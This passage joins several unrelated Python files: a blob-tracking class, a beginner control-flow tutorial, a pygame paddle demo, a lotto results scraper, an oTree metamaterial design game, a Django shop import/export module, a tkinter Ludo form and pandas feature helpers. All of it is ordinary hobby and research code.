    def __init__(self, color=None, lowerhsv=None, upperhsv=None, minSizemm=None, maxSizemm=None,
                 minSizePix=None, maxSizePix=None, dataLoggerName=None, contourColor=None):

        self.lowerhsv = np.array(lowerhsv)
        self.upperhsv = np.array(upperhsv)
        self.__setHSV(color)
        self.minSizeM = minSizemm
        self.maxSizeM = maxSizemm
        self.minSizeP = minSizePix
        self.maxSizeP = maxSizePix
        self.xP = None
        self.yP = None
        self.xM = None
        self.yM = None
        self.areaP = None
        self.areaM = None
        self.frameNr = None
        self.time = None
        self.velocityM = None
        self.velocityP = None
        self.data = None
        self.dataBuf = []
        if dataLoggerName is not None:
            fileName = dataLoggerName + time.strftime("%Y-%m-%d %H%M%S")
            self.dataLogger = DataLogger('experiments/' + fileName, kind='csv')
        else:
            self.dataLogger = None
        self.bufLen = 10000
        self.logTitlesNeeded = True
        self.contour = None
        self.contourBGR = self.__colorName2BGR(contourColor)
        # buffers which hold the average of area and center for noise removal
        self.areaBuf = []
        self.areaBufLen = 100
        self.xPBuf, self.yPBuf = [], []
        self.cntBufLen = 3
        self.count = 0

    def __setHSV(self, color):
        if color is None:
            return
        if color == 'default red':
            self.lowerhsv = np.array([140, 40, 40])
            self.upperhsv = np.array([180, 255, 255])

        if color == 'default blue':
            self.lowerhsv = np.array([60, 50, 50])
            self.upperhsv = np.array([160, 255, 255])

    def __setdataLogger(self, data):

        if self.logTitlesNeeded:
            self.dataLogger(('frame number', 'time(ms)', 'centerX(pixels)', 'centerY(pixels)', 'Area(pixels)',
                             'Speed(PixperFrame)', 'centerX(mm)', 'centerY(mm)', 'Area(mm2)', 'Speed(mmps)'))
            self.logTitlesNeeded = False
        self.dataLogger((str(self.data[0]), str(self.data[1]), str(self.data[2]), str(self.data[3]), str(self.data[4]),
                         str(self.data[5]), str(self.data[6]), str(self.data[7]), str(self.data[8]), str(self.data[9])))

    def __colorName2BGR(self, colorName):

        colorRGB = webcolors.name_to_rgb(colorName)
        colorBGR = (colorRGB[2], colorRGB[1], colorRGB[0])
        return colorBGR

    def setData(self, data):

        self.frameNr = data[0]
        self.time = data[1]

        self.xP = data[2]
        self.yP = data[3]
        self.areaP = data[4]

        self.xM = data[5]
        self.yM = data[6]
        self.areaM = data[7]

        if self.frameNr == 0:
            self.velocityP = 0
            self.velocityM = 0

        elif self.frameNr > 0:
            self.velocityP = self.Distance((self.xP, self.yP), self.dataBuf[0][2:4])
            self.velocityM = self.Distance((self.xM, self.yM), self.dataBuf[0][6:8]) / (self.time - self.dataBuf[0][1])

        data.insert(5, self.velocityP)
        data.append(self.velocityM)

        self.data = data
        if self.dataLogger is not None:
            self.__setdataLogger(self.data)

        if len(self.dataBuf) < self.bufLen:
            self.dataBuf.insert(0, data)

        else:
            dataBufCopy = self.dataBuf
            dataBufCopy.insert(0, data)
            del dataBufCopy[self.bufLen]
            self.dataBuf = dataBufCopy

    def Distance(self, u, v):
        distance = np.linalg.norm(np.array(u) - np.array(v))
        return distance

    def angel(u, v):
        vector = np.array(u) - np.array(v)
        theta = math.atan(vector[1] / vector[0])
        distance = np.linalg.norm(np.array(u) - np.array(v))
        return distance

    def getVelocityMM(self):
        return self.velocityM

    def getVelocityPix(self):
        return self.velocityP

    def getPosMM(self):
        return (self.xM, self.yM)

    def getPosPix(self):
        return (self.xP, self.yP)

    def getPosPix(self):
        return (self.xP, self.yP)

    def getData(self):
        return self.dataBuf[0]

    def getContour(self):
        return self.contour

    def isSpeedBelow(self, threshmmps=None, threshpixpfr=None, time=None):
        result = True
        bufLen = len(self.dataBuf)
        if self.dataBuf[0][1] - self.dataBuf[bufLen - 1][1] < time:
            result = False

        if threshmmps is not None:
            for data in self.dataBuf:
                if self.dataBuf[0][1] - data[1] > time:
                    break
                elif data[9] > threshpixpfr:
                    result = False
                    break

        if threshpixpfr is not None:
            for data in self.dataBuf:
                if self.dataBuf[0][1] - data[1] > time:
                    break
                elif data[5] > threshpixpfr:
                    result = False
                    break
        return result

    def isSpeedOver(self, threshmmps=None, threshpixpfr=None, time=None):
        result = True
        bufLen = len(self.dataBuf)
        if self.dataBuf[0][1] - self.dataBuf[bufLen - 1][1] < time:
            result = False

        if threshmmps is not None:
            for data in self.dataBuf:
                if self.dataBuf[0][1] - data[1] > time:
                    break
                elif data[9] < threshpixpfr:
                    result = False
                    break

        if threshpixpfr is not None:
            for data in self.dataBuf:
                if self.dataBuf[0][1] - data[1] > time:
                    break
                elif data[5] < threshpixpfr:
                    result = False
                    break
        return result

    def isStatic(self, threshmmps, threshpixpfr):
        result = True
        if threshmmps is not None:
            if self.velocityM > threshmmps:
                result = False

            if threshpixpfr is not None:
                if self.velocityP > threshpixpfr:
                    result = False
        return result

    def isMobile(self, threshmmps, threshpixpfr):
        result = True
        if threshmmps is not None:
            if self.velocityM < threshmmps:
                result = False

            if threshpixpfr is not None:
                if self.velocityP < threshpixpfr:
                    result = False
        return result

    def countBlobs(self):

        return self.count


# If
age = 20
if age >= 18:
    print('your age is', age)
    print('adult')

# If else
age = 3
if age >= 18:
    print('your age is', age)
    print('adult')
else:
    print('your age is', age)
    print('teenager')

# if elif ( if ... else if...)
age = 3
if age >= 18:
    print('adult')
elif age >= 6:
    print('teenager')
else:
    print('kid')

# The type from input is string.
# Change it to integer if it is useful.
s = input('birth: ')
birth = int(s)
if birth < 2000:
    print('00前')
else:
    print('00后')

# For loop
names = ['Michael', 'Bob', 'Tracy']
for name in names:
    print(name)

# While loop
sum = 0
n = 100
while n > 0:
    sum = sum + n
    n = n - 1
print(sum)


import pygame
pygame.init()
screen = pygame.display.set_mode((680, 460))
clock = pygame.time.Clock()

# use a rect since it will greatly
# simplify movement and drawing
paddle = pygame.Rect((0, 0, 20, 80))

while True:

    if pygame.event.get(pygame.QUIT): break
    pygame.event.pump()

    # move up/down by checking for pressed keys
    # and moving the paddle rect in-place
    keys = pygame.key.get_pressed()
    if keys[pygame.K_UP]: paddle.move_ip(0, -7)
    if keys[pygame.K_DOWN]: paddle.move_ip(0, 7)

    # ensure the paddle rect does not go out of screen
    paddle.clamp_ip(screen.get_rect())

    screen.fill((0,0,0))
    pygame.draw.rect(screen, (255,255,255), paddle)
    pygame.display.flip()

    clock.tick(60)


# -*- coding: utf-8 -*-
"""
Created on Sun Apr 12 12:19:37 2020

@author: Vincent
"""

# -*- coding: utf-8 -*-
"""
Created on Sat Apr 11 15:53:43 2020

@author: Vincent
"""

from bs4 import BeautifulSoup
import csv
import requests
from requests_html import HTMLSession
import Utilities

link = 'https://mylotto.co.nz/results'
apiLink = 'https://apigw.mylotto.co.nz/api/results/v1/results/lotto/'
parseType = 'lxml'
keyDrawTerm = 'lotto-draw-select-dropdown'
columnHeader = ['Date of Draw','Number 1','Number 2','Number 3','Number 4','Number 5','Number 6','Bonus Ball']
keyPowerball = ['lotto','lottoWinningNumbers','numbers']
keyBonusball = ['lotto','lottoWinningNumbers','bonusBalls']
outFilename = 'output.csv'

page = requests.get(link)

myhtml = Utilities.getHtml(link).html
#soup = BeautifulSoup (myhtml, "lxml")
soup = BeautifulSoup (myhtml, parseType)

#Extract the draw number
#options = soup.find(id="lotto-draw-select-dropdown")
options = soup.find(id=keyDrawTerm)

drawDate = []
drawTerm = []
for option in options:
    drawTerm.append (option.text[:4])
    drawDate.append (option['value'])

#First Item is coming draw, remove from array
drawTerm.pop(0)
drawDate.pop(0)

Resultlist = []
i=0
Resultlist.append(columnHeader)
for term in drawTerm:
    Result = []
    link = apiLink + term
    print (link)
    Result.append(drawDate[i])
    numbers = Utilities.extractDrawResult(link,keyPowerball)
    for number in numbers:
        Result.append(number)
    Result.append(Utilities.extractDrawResult(link,keyBonusball))
    Resultlist.append(Result)
    i+=1

with open(outFilename, 'w', newline='') as csvfile:
    writer = csv.writer(csvfile)
    writer.writerows(Resultlist)


from otree.api import (
	models,
	widgets,
	BaseConstants,
	BaseSubsession,
	BaseGroup,
	BasePlayer,
	Currency as c,
	currency_range,
)
import numpy as np
import pandas as pd
import json
import _static.design_evaluator.python as truss_model
import matplotlib.pyplot as plt
import PIL.Image as Image
import warnings
import os
from pygmo import hypervolume
from scipy.stats import rankdata

warnings.filterwarnings('ignore')

author = 'Ashish Chaudhari'

doc = """
Backend and frontend of a human-AI collaborative tool for metamaterial design
"""

class Constants(BaseConstants):
	name_in_url = 'outreach_activity'
	players_per_group = None
	num_rounds = 1
	num_features = 5
	num_ticks = 100

	#Mechanical metamaterial related variables
	E = 0.7e09; # Young's Modulus for polymeric material (example: 10000 Pa)
	sel = 0.01; # Unit square side length (NOT individual truss length) (example: 5 cm)
	r = 5e-4 #element radius in m
	edgelist = np.array([[1,2], [1,6], [1,5], [1,4], [1,8], [2,3], [2,6], [2,5], [2,4], [2,7],
					[2,9], [3,6], [3,5], [3,4], [3,8], [5,6], [6,7], [6,8], [6,9], [4,5],
					[5,7], [5,8], [5,9], [4,7], [4,8], [4,9], [7,8], [8,9]])-1;
	nucFac = 1;
	sidenum = (2*nucFac) + 1;
	pos = truss_model.generateNC(sel, sidenum);
	target_c_ratio = 1; # Ratio of C22/C11 to target
	ref_point = [0, 1] #Order of objectives [Vertical Stifness, Volume Fraction]
	score_magnifier = 1
	objectives = ['Vertical Stiffness', 'Volume Fraction']
	constraints = ['Feasibility', 'Material']
	materials = {#Young's Modulus
		'Polyethylene HDPE': 0.8e09,
		'PVC': 4e09,
		'Aluminium 6061-T6': 69e09,
		'Copper': 117e09,
		'Steel ASTM-A36': 200e09
	}
	radii = {
		'0.2 mm': 0.0002,
		'0.3 mm': 0.0003,
		'0.4 mm': 0.0004
	}

	data_keys = ['Main']

class Subsession(BaseSubsession):

	def get_goals(self):
		return ['Maximize', 'Minimize']

	def get_instruction_url(self):
		instruction_url= Constants.name_in_url + "/" + "instructions_automation.html"
		return instruction_url

	def nodes(self):
		pos = Constants.pos
		sel = Constants.sel
		nodes = list()
		for i, p in enumerate(pos):
			nodes.append({'id':int(i), 'x':float(p[0]/sel), 'y':float(p[1]/sel)})
		return nodes

	def edges(self):
		edgelist = Constants.edgelist
		nodes = self.nodes()
		edges = list()
		for i in range(len(edgelist)):
			e = edgelist[i]
			edges.append({'id': str(e[0])+'-'+str(e[1]), 'index':i, 'source':nodes[e[0]], 'target':nodes[e[1]]})
		return edges

	def is_pareto_efficient(self, costs):
		"""
		Find the pareto-efficient points
		:param costs: An (n_points, n_costs) array
		:return: A (n_points, ) boolean array, indicating whether each point is Pareto efficient
		"""
		is_efficient = np.ones(costs.shape[0], dtype = bool)
		for i, c in enumerate(costs):
			is_efficient[i] = np.all(np.any(costs[:i]>=c, axis=1)) and np.all(np.any(costs[i+1:]>=c, axis=1))
		return is_efficient

	def convert_to_img(self, x, r):
		pos = Constants.pos
		edgelist = Constants.edgelist
		max_r = max(Constants.radii.values())
		min_r = min(Constants.radii.values())
		lw = 20*np.array(r)/max_r

		plt.ioff()
		fig, ax = plt.subplots()
		truss_model.show_meshplot(pos, edgelist, x, lw, ifMatrix=False, ax=ax)
		fig.savefig('image.png', bbox_inches='tight')
		img = Image.open('image.png').convert('L').resize((50,50))
		x = np.array(img)<255

		return x.astype('int')

	def creating_session(self):
		if self.round_number == 1:
			cwd = os.getcwd()
			# Reading data #Columns = design stiffness	volume_fraction	feasibility	stability vertical_lines horizontal_lines	diagonals	triangles	three_stars	image
			data = pd.read_csv("./_static/metamaterial_designs_normalized_filtered1.csv")
			data = data.drop_duplicates(subset=['obj1', 'obj2'], ignore_index=True)
			data = data.sort_values(['obj1', 'obj2'], ascending=[True, True], ignore_index=True)
			n_data = data.shape[0]

			# Adding pareto front information
			costs = data[['obj1', 'obj2']].values*np.array([[-1, 1]]) #Maximize stiffness and minimize volume fraction
			# Check if feasibility constraint is satisfied
			is_constr1 = data['constr1'] == 1
			ret = self.is_pareto_efficient(costs[is_constr1])	# Pareto front of the historic data
			data['is_pareto'] = np.zeros((n_data,)).astype(bool)
			data['is_pareto'][is_constr1] = ret
			for p in self.get_players():
				player_id = p.id_in_subsession
				data['is_pareto_response'+str(player_id)] = data['is_pareto']	# Pareto front after considering new responses evaluated by the designer
			data['id'] = np.arange(data.shape[0])
			self.session.vars = data.to_dict('list')

			#Storing the reference hypervolume
			ref_hv = hypervolume(costs[is_constr1]).compute(Constants.ref_point)
			self.session.vars['reference_hv'] = ref_hv

			#Initialize initial ranks and scores
			for g in self.get_groups():
				g.update_scoreboard(initialize=True)

class Group(BaseGroup):

	def update_scoreboard(self, initialize=False):
		players = self.get_players()

		if not initialize:
			#Calculate scores
			#First approach
			scores = []
			for p in players:
				if 'hv' not in p.participant.vars.keys():
					scores.append(self.session.vars['reference_hv'])
				else:
					scores.append(p.participant.vars['hv'])
			#Second approach
			# scores = [sum(p.participant.vars['is_pareto']*p.participant.vars['is_unique']) for p in players]
			#third approach
			# is_pareto = p.participant.vars['is_pareto']
			# objs = np.array(p.participant.vars[['obj1', 'obj2']])[is_pareto]
			# utopia = 1 - np.array(ref_point)[None,:]
			# scores = np.mean(np.sqrt(np.sum((objs-utopia)**2, axis=1)), axis=1)

			names = []
			for p in players:
				if p.user_firstname:
					names.append(p.user_firstname + ' ' + p.user_lastname)
				else:
					names.append(str(p.id_in_subsession))

		else:
			#First approach
			ref_hv = self.session.vars['reference_hv']
			scores = [Constants.score_magnifier*ref_hv for p in players]
			names = [str(p.id_in_subsession) for p in players]
			#Third approach
			# scores = [0 for p in players]

		ranks = rankdata(-1*np.array(scores), method='min')

		#Store the current ranks and scores
		scoreboard = dict()
		for i in range(len(players)):
			scoreboard[players[i].id_in_subsession] = dict(
						rank=int(ranks[i]),
						score=scores[i],
						name=names[i])
		self.session.vars['scoreboard'] = scoreboard

class Player(BasePlayer):

	user_firstname = models.TextField()
	user_lastname = models.TextField()

	def update_pareto(self):
		# Historic dataset
		data = np.array([self.session.vars.get(key) for key in ['obj1', 'obj2']]).T #dictionary
		n_data = data.shape[0]

		# Gather old responses
		prev_response = np.array([self.participant.vars.get(key) for key in ['obj1', 'obj2']]).T  #dictionary
		n_response = prev_response.shape[0]

		# Gathering objectives data
		tem1 = data
		tem2 = prev_response
		costs = np.vstack([tem1, tem2])*np.array([[-1, 1]]) #Maximize stiffness and minimize volume fraction
		# Constraint Feasibility=1 should be satisfied
		if_constr1 = np.array([v==1 for v in self.session.vars['constr1']] + [v==1 for v in self.participant.vars['constr1']])
		# Find new pareto and update databse
		ret = self.subsession.is_pareto_efficient(costs[if_constr1])
		is_pareto = np.zeros((n_data+n_response,)).astype(bool)
		is_pareto[if_constr1] = ret

		# self.session.vars['is_pareto_new'] = ret[0:n_data].tolist()
		self.participant.vars['is_pareto'] =  is_pareto[n_data:].tolist()
		self.session.vars['is_pareto_response' + str(self.id_in_subsession)] =  is_pareto[0:n_data].tolist()

		#Calculate the hypervolume improvement
		hv = hypervolume(costs[if_constr1]).compute(Constants.ref_point)
		self.participant.vars['hv'] = np.around(hv,3)

		#Store boolean on whether designs are unique
		_, indices = np.unique(costs, axis=0, return_index=True)
		is_unique = np.zeros(n_data+n_response, dtype=bool)
		is_unique[indices] = True
		self.participant.vars['is_unique'] = is_unique[n_data:].tolist()
		self.session.vars['is_unique' + str(self.id_in_subsession)] =  is_unique[0:n_data].tolist()

		return is_pareto[0:n_data].tolist()

	def update_response_database(self, response):
		# Gather old responses
		prev_response = self.participant.vars
		for key in response.keys():
			if key not in prev_response:
				prev_response[key]=[]
			prev_response[key].append(response[key])

	def live_method(self, data):

		if data['message']=='clean image':
			#For cleaning data
			x = np.array(data['x'])
			r = data['r']#Must in meters
			x[x>0.25]=1
			x[x<0.25]=0
			x_img = self.subsession.convert_to_img(x, r)
			image = x_img.tolist()

			return {self.id_in_group: dict(message='clean image',image=image)}

		elif data['message']=='test design':
			#Load data even if it may be empty
			# x is a bitstring design vector
			# z is a feature vector
			x = np.array(data['x'])
			x[x>0.25]=1
			x[x<0.25]=0

			r = data['r']#Must in meters
			E = data['E']#Must be in Pa

			if np.any(np.isin(x, ['', None, 'nan'])):
				x = np.ones(Constants.edgelist.shape[0])

			# Running the design evaluator and creating a response
			x = truss_model.repeatable_des(x)
			r = truss_model.repeatable_des(r)
			obj1, obj2 = truss_model.multiobjectives(x, Constants.sidenum, Constants.sel, E, r, Constants.edgelist, 1)
			edges_des = Constants.edgelist[x.astype(bool)]
			constr1 = truss_model.feasibility(Constants.pos, edges_des, Constants.sidenum)
			constr2 = [key for key, value in Constants.materials.items() if value==E]
			x_img = self.subsession.convert_to_img(x, r)
			image = json.dumps(x_img.tolist())
			design = json.dumps(x.tolist())

			response = dict(design_bitstring=design, obj1=obj1, obj2=obj2, constr1=constr1, constr2=constr2, image=image,
			is_pareto=None)
			# response.update(data)

			# Check if any element is int32
			for k, v in response.items():
				if isinstance(v, np.int32) or isinstance(v, np.int64):
					response[k] = int(v)

			# Update databse and Check if pareto
			self.update_response_database(response)

			# Update pareto information; Returns pareto information for historic data
			is_pareto_response = self.update_pareto()

			# Retrive updated data rom database
			response_data = self.participant.vars

			#scoreboard
			self.group.update_scoreboard()
			scoreboard = self.session.vars['scoreboard']
			print(scoreboard)
			return {self.id_in_group: dict(message='test design',response_data=response_data, is_pareto_response=is_pareto_response, scoreboard=scoreboard)}

def custom_export(players):
	# header row
	ctr=0
	for p in players:
		data = p.participant.vars
		if data:
			if ctr==0:
				keys = list(data.keys())
				yield ['session', 'participant_code'] + keys
				ctr+=1
			n_data = len(data[keys[0]])

			for i in range(n_data):
				row = [p.session.code, p.participant.code]
				row = row + [data[k][i] for k in keys]
				yield row


from django.conf import settings
from django.db import transaction

from box.shop.item.models import *
from box.shop.item.api.serializers import ItemSerializer

from io import StringIO
import pandas as pd
import csv

BASE_DIR = settings.BASE_DIR

count = 0

def get_family_tree(child):
  subcategories = child.subcategories.all()
  if not subcategories:
      return {
        "title": child.title,
        "slug":child.slug,
        "items_count":"",
        "subcategories": []
      }
  return {
      "title": child.title,
      "slug":child.slug,
      "subcategories": [get_family_tree(child) for child in subcategories],
  }

def get_subcategories_count(child):
  subcategories = child.subcategories.all()
  if not subcategories:
      return {
        "title": child.title,
        "slug":child.slug,
        "items_count":"",
        "subcategories": []
      }
  return {
      "title": child.title,
      "slug":child.slug,
      "subcategories": [get_family_tree(child) for child in subcategories],
  }

def read_items_from_xlsx(filename):
  items      = pd.read_excel(filename, sheet_name="Товары")
  items      = items.to_csv()
  categories = pd.read_excel(filename, sheet_name="Категории")
  categories = categories.to_csv()
  create_categories(
    [dct for dct in map(dict, csv.DictReader(StringIO(categories)))],
    list(csv.reader(StringIO(categories)))
  )
  create_items(
    [dct for dct in map(dict, csv.DictReader(StringIO(items)))],
    list(csv.reader(StringIO(items)))
  )
  return True

read_items_from_xlsx_admin = read_items_from_xlsx

def read_items_from_csv(filename):
  create_items(
    [dct for dct in map(dict, csv.DictReader(open(filename)))],
    list(csv.reader(open(filename))),
  )
  return True

def read_categories_from_csv(filename):
  create_categories(
    [dct for dct in map(dict, csv.DictReader(open(filename)))],
    list(csv.reader(open(filename))),
  )
  return True

def create_items(dict_file, list_file):
  items       = dict_file
  headers_row = list_file[0]
  items_rows  = list_file[1:]
  feature_name_indexes  = [i for i, o in enumerate(headers_row) if "Название_Характеристики" in o]
  feature_value_indexes = [i for i, o in enumerate(headers_row) if "Значение_Характеристики" in o]
  # feature_code_indexes  = [i for i, o in enumerate(headers_row) if "feature_code" in o]
  items_features = []
  item_features_names  = []
  item_features_values = []
  # item_features_codes  = []
  features = []
  for item_row in items_rows:
    for i in feature_name_indexes:
      item_features_names.append(item_row[i])
    for i in feature_value_indexes:
      item_features_values.append(item_row[i])
    # for i in feature_code_indexes:
    #   item_features_codes.append(item_row[i])
    # TODO: допиляти так, шоб можна було в ексель-файл записувати
    # крім назви характеристики і значення характеристики, ще й код
    # характеристики і батьківську категорію
    # for i in range(len(item_features_names)):
    #   features.append({
    #     "feature_name": ,
    #     "":,
    #     "":,
    #     "":,
    #   })
    features = dict(zip(item_features_names, item_features_values))
    items_features.append(features)

  for i in range(len(items_features)):
    items[i]["features"] = items_features[i]

  for item in items:
      # new_item.in_stock    = item["В_Наличии"]
      # new_item.is_new      = item["Новое"]
      # new_item.is_active   = item["Активен"]
      category_slug = item["Категория"].lower()
      item_slug     = item["Ссылка"]
      new_item, _          = Item.objects.get_or_create(
        slug = item_slug,
      )
      slugs = ItemCategory.objects.all().values_list('slug')
      if settings.MULTIPLE_CATEGORY:
        new_item.categories.add(ItemCategory.objects.get(slug__iexact = category_slug))
      else:
        new_item.category = ItemCategory.objects.get(slug__iexact=category_slug)

      new_item.meta_descr  = item["Мета_Описание"]
      new_item.meta_title  = item["Мета_Заголовок"]
      new_item.meta_key    = item["Мета_Ключевые_Слова"]
      new_item.title       = item["Заголовок"]
      new_item.description = item["Описание"]
      new_item.code        = item["Артикул"]
      new_item.old_price   = item["Старая_Цена"]
      new_item.new_price   = item["Новая_Цена"]
      currency             = item['Валюта']
      new_item.currency, _ = Currency.objects.get_or_create(name=currency)

      images = item["Изображения"]
      if images:
        images = images.split(",")
        for image in images:
          # print(image)
          image = ItemImage.objects.create(
            image = f"shop/items/{image.strip()}",
            item  =  new_item,
          )
        new_item.save()
        new_item.create_thumbnail_from_images()

      for k, v in item["features"].items():
        new_feature, _ = ItemFeature.objects.get_or_create(
          item = new_item,
          name =k,
          value=v,
        )
        # print(new_feature.id, new_feature.name)
      new_item.save()
      # print(new_item.id ,new_item.title)

def create_categories(dict_file, list_file):
  for item in dict_file:
    title       = item["title"]
    slug        = item["slug"]
    parent_slug = item["parent"]
    image       = item['image']
    image_name  = image.split('/')[-1]

    with transaction.atomic():
      new_category, _ = ItemCategory.objects.get_or_create(
        slug = slug,
      )
      new_category.title  = title
      parent      = ItemCategory.objects.filter(slug=parent_slug).first()
      new_category.parent = parent
      new_category.thumbnail = 'shop/categories/' + image
      new_category.save()
      print(new_category)
  return True

def import_items_from_xml_by_xmljson(filename):
  from xmljson import badgerfish as bf
  from xml.etree.ElementTree import fromstring
  import json
  items = '
Hellobold
'
  items = open(filename).read()
  items = bf.data(fromstring(items))
  items = json.dumps(items)
  items = json.loads(items)
  items = items['objects']['object']
  for item in items:
    fields = item['field']
    import pprint; pprint.pprint(fields)

class XMLItem(object):

  meta_title  = None
  meta_descr  = None
  meta_key    = None
  title       = None
  description = None
  code        = None
  slug        = None
  thumbnail   = None
  old_price   = None
  new_price   = None
  currency    = None
  category    = None
  in_stock    = None
  is_new      = None
  is_active   = None
  created     = None
  updated     = None
  order       = None
  fields = {}

  def __str__(self):
    return f'{self.fields}'

def import_items_from_xml_by_xml_etree(filename):
  import xml.etree.ElementTree as ET
  # *******
  # tree = ET.parse(filename)
  # xml_data = tree.getroot()
  # xmlstr = ET.tostring(xml_data, encoding='utf8', method='xml')
  # data_dict = dict(xmltodict.parse(xmlstr))
  # print(data_dict)
  # with open('new_data_2.json', 'w+') as json_file:
  #     json.dump(data_dict, json_file, indent=4, sort_keys=True)
  # *******
  # https://stackoverflow.com/questions/45144645/parsing-xml-file-in-django

  tree = ET.parse(filename)
  root = tree.getroot()
  for att in root:
    fields = att.findall('field')#.text
    item = Item()

    xml_item = XMLItem()
    for field in fields:
      name  = field.get('name')
      descr = field.get('descr')
      text  = field.text
      xml_item.fields.update({name:text})
      # setattr(xml_item, name, text)
    print(xml_item)
    # item.save()

def import_items_from_xml_by_xmltodict(filename):
  import xmltodict
  import json

  items = xmltodict.parse(open(filename).read())
  items = json.dumps(items)
  items = json.loads(items)
  items = items['objects']['object']
  for item in items:
    fields = item['field']
    for field in fields:
      item = Item()
      text = field.get('#text')
      name = field['@name']
      setattr(item, name, text)
      # item.save()
      print(item)
      import pprint; pprint.pprint(field)

def import_items_from_xml(filename):
  import_items_from_xml_by_xml_etree(filename)
  return True

def export_items_to_xml():
  from django.core import serializers
  # https://github.com/vinitkumar/json2xml
  # https://github.com/quandyfactory/dicttoxml/tree/master/dist
  # !!!!
  # https://github.com/quandyfactory/dicttoxml
  # dicttoxml + rest_framework.serializers.ModelSerializer
  # https://stackoverflow.com/questions/36021526/converting-an-array-dict-to-xml-in-python
  # !!!!
  items = Item.objects.all()
  result = "<objects>"
  for item in items:
    result += form_item(item)
  result += "</objects>"
  # result  = serializers.serialize('xml', items)
  with open('items.xml', 'w') as f:
    f.write(result)
  return True

def form_item(item):
  item = f"""
  <object>
    <field name="meta_title" descr="{item._meta.get_field('meta_title').verbose_name}">
      {item.meta_title}
    </field>
    <field name="meta_descr" descr="{item._meta.get_field('meta_descr').verbose_name}">
      {item.meta_descr}
    </field>
    <field name="meta_key" descr="{item._meta.get_field('meta_key').verbose_name}">
      {item.meta_key}
    </field>
    <field name="title" descr="{item._meta.get_field('title').verbose_name}">
      {item.title}
    </field>
    <field name="description" descr="{item._meta.get_field('description').verbose_name}">
      {item.description}
    </field>
    <field name="code" descr="{item._meta.get_field('code').verbose_name}">
      {item.code}
    </field>
    <field name="slug" descr="{item._meta.get_field('slug').verbose_name}">
      {item.slug}
    </field>
    <field name="thumbnail" descr="{item._meta.get_field('thumbnail').verbose_name}">
      {item.thumbnail}
    </field>
    <field name="old_price" descr="{item._meta.get_field('old_price').verbose_name}">
      {item.old_price}
    </field>
    <field name="new_price" descr="{item._meta.get_field('new_price').verbose_name}">
      {item.new_price}
    </field>
    <field name="currency" descr="{item._meta.get_field('currency').verbose_name}">
      {item.currency}
    </field>
    <field name="category" descr="{item._meta.get_field('category').verbose_name}">
      {item.category}
    </field>
    <field name="in_stock" descr="{item._meta.get_field('in_stock').verbose_name}">
      {item.in_stock}
    </field>
    <field name="is_new" descr="{item._meta.get_field('is_new').verbose_name}">
      {item.is_new}
    </field>
    <field name="is_active" descr="{item._meta.get_field('is_active').verbose_name}">
      {item.is_active}
    </field>
    <field name="created" descr="{item._meta.get_field('created').verbose_name}">
      {item.created}
    </field>
    <field name="updated" descr="{item._meta.get_field('updated').verbose_name}">
      {item.updated}
    </field>
    <field name="order" descr="{item._meta.get_field('order').verbose_name}">
      {item.order}
    </field>
  </object>
  """
  return item


from tkinter import *

class Form:

    def __init__(self, rules_file):
        self.root = Tk()
        self.root.title("Ludo")
        self.frame1 = Frame(self.root)
        self.label1 = Label(self.frame1, text="Player Name", fg="black")
        self.name = Entry(self.frame1, width=20)
        self.label2 = Label(self.frame1, text="Server IP", fg="black")
        self.label3 = Label(self.frame1, text="", fg="black")
        self.button = Button(self.frame1, text='Join Game', command=self.get_name_and_ip)
        self.ip = Entry(self.frame1, width=20)
        self.button1 = Button(self.frame1, text='Rules', command=self.show_rules)
        self.filename = rules_file

    def get_name_and_ip(self):
        # Gets the name entered by the player in the name box.
        self.player_name = self.name.get()
        self.ip_address = self.ip.get()
        self.root.destroy()

    def show_rules(self):
        # Produces a document of the rules of the ludo game.
        file = open(self.filename, "r")
        data = file.read()
        root1 = Tk()
        root1.title("Rules")
        w = Label(root1, text=data, fg="black", bg="red")
        w.pack()
        root1.mainloop()

    def draw_form(self):
        # draws the form for the player
        self.root.minsize(width=220, height=100)
        self.root.maxsize(width=220, height=100)
        self.root.configure(background='white')

        self.frame1.pack()
        self.frame1.configure(background='white')

        self.label1.grid(row=1, column=1)
        self.label1.configure(background='white')

        self.name.grid(row=1, column=2)
        self.name.configure(background='white')

        self.label2.grid(row=2, column=1)
        self.label2.configure(background='white')

        self.ip.grid(row=2, column=2)
        self.ip.configure(background='white')

        self.label3.grid(row=3, column=3)

        self.button.grid(row=4, column=2)
        self.button.configure(background='lightgreen')

        self.button1.grid(row=4, column=1)
        self.button1.configure(background='lightblue')
        self.root.mainloop()
        # returns the name entered by the player.
        return (self.player_name, self.ip_address)


import numpy as np
import pandas as pd

def colYRatio(application_train, col, val):
    target_1 = np.logical_and(application_train[col] == val, application_train['target'] == 1)
    target_1_cnt = application_train.loc[target_1, :].shape[0]
    target_cnt = application_train.loc[application_train[col] == val, :].shape[0]
    target_0_cnt = target_cnt - target_1_cnt
    print('{}={}, target_1={}, target_0={}, target_1_ratio={}'.format(
                col, val, target_1_cnt, target_0_cnt, target_1_cnt / float(target_cnt)))

# 聚合函数，不同统计特征
def groupBy(df, grp_col, target_col):
    grp_df = df.groupby([grp_col])[target_col].agg(['mean', 'max', 'min', 'sum']).reset_index()
    # 最小值、最大值与均值的比重
    grp_df['min_mean_ratio'] = grp_df['min'] / (grp_df['mean'] + 0.9999)
    grp_df['max_mean_ratio'] = grp_df['max'] / (grp_df['mean'] + 0.9999)
    # 最小值与最大值的比重
    grp_df['min_max_ratio'] = grp_df['min'] / (grp_df['max'] + 0.9999)
    # 最小值、最大值、均值、中位数与总和的比重
    grp_df['min_sum_ratio'] = grp_df['min'] / (grp_df['sum'] + 0.9999)
    grp_df['max_sum_ratio'] = grp_df['max'] / (grp_df['sum'] + 0.9999)
    grp_df['mean_sum_ratio'] = grp_df['mean'] / (grp_df['sum'] + 0.9999)

    # 只保留占比
    feats_not_use = ['mean', 'max', 'min', 'sum']
    feats_in_use = [col for col in grp_df.columns if col not in feats_not_use]
    grp_df = grp_df[feats_in_use]

    # 重命名列
    grp_df.columns = [grp_col] + [target_col + '_' + col for col in grp_df.columns[1:]]
    return grp_df

# 重命名列
def renameColumns(grp_df, rename_col):
    grp_df.columns = ['sk_id_curr'] + [rename_col + '_' + col for col in grp_df.columns[1:]]
    return grp_df

# 转为哑变量
def getDummies(df, col):
    dummies_df = pd.get_dummies(df[col], prefix=col)
    df = pd.concat([df, dummies_df], axis=1)
    return df

# 浮点数64位转为32位，整数型64位转为32位，节约内存
def convertType(df):
    for col in df.columns:
        if col != 'sk_id_curr':
            if df[col].dtype == np.dtype('float64'):
                df[col] = df[col].astype(np.float32)
            elif df[col].dtype == np.dtype('int64'):
                df[col] = df[col].astype(np.float32)
    return df

